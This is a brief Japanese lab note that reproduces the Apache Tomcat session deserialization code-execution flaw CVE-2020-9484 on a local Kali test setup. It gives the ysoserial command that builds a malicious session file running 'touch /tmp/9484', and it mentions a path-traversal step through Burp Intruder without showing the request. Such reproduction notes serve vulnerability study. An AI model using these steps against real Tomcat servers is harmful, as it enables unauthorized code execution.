CVE-2020-9484

Kali 2.0 を使用して Apache Tomcat Session の逆シリアル化コード実行脆弱性 CVE-2020-9484 を再現

環境：

1. Kali 2.0
2. apache-tomcat-7.0.61-CVE-2020-9484.tar.gz（webapp は s2-053 で、その lib ディレクトリに commons-collections4-4.0.jar を追加しました）
   
   

起動

/yourtomcatdir/bin/startup.sh

ペイロード生成

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "touch /tmp/9484" > /tmp/22222.session

エクスプロイト

まず S2-053 にアクセスして正常に起動しているか確認します： http://192.168.152.128:8080/s2-053/
再度アクセスしてパケットをキャプチャし、intruder を使用してパストラバーサルを行います

コマンドの実行に成功：

参考： https://mp.weixin.qq.com/s/OGdHSwqydiDqe-BUkheTGg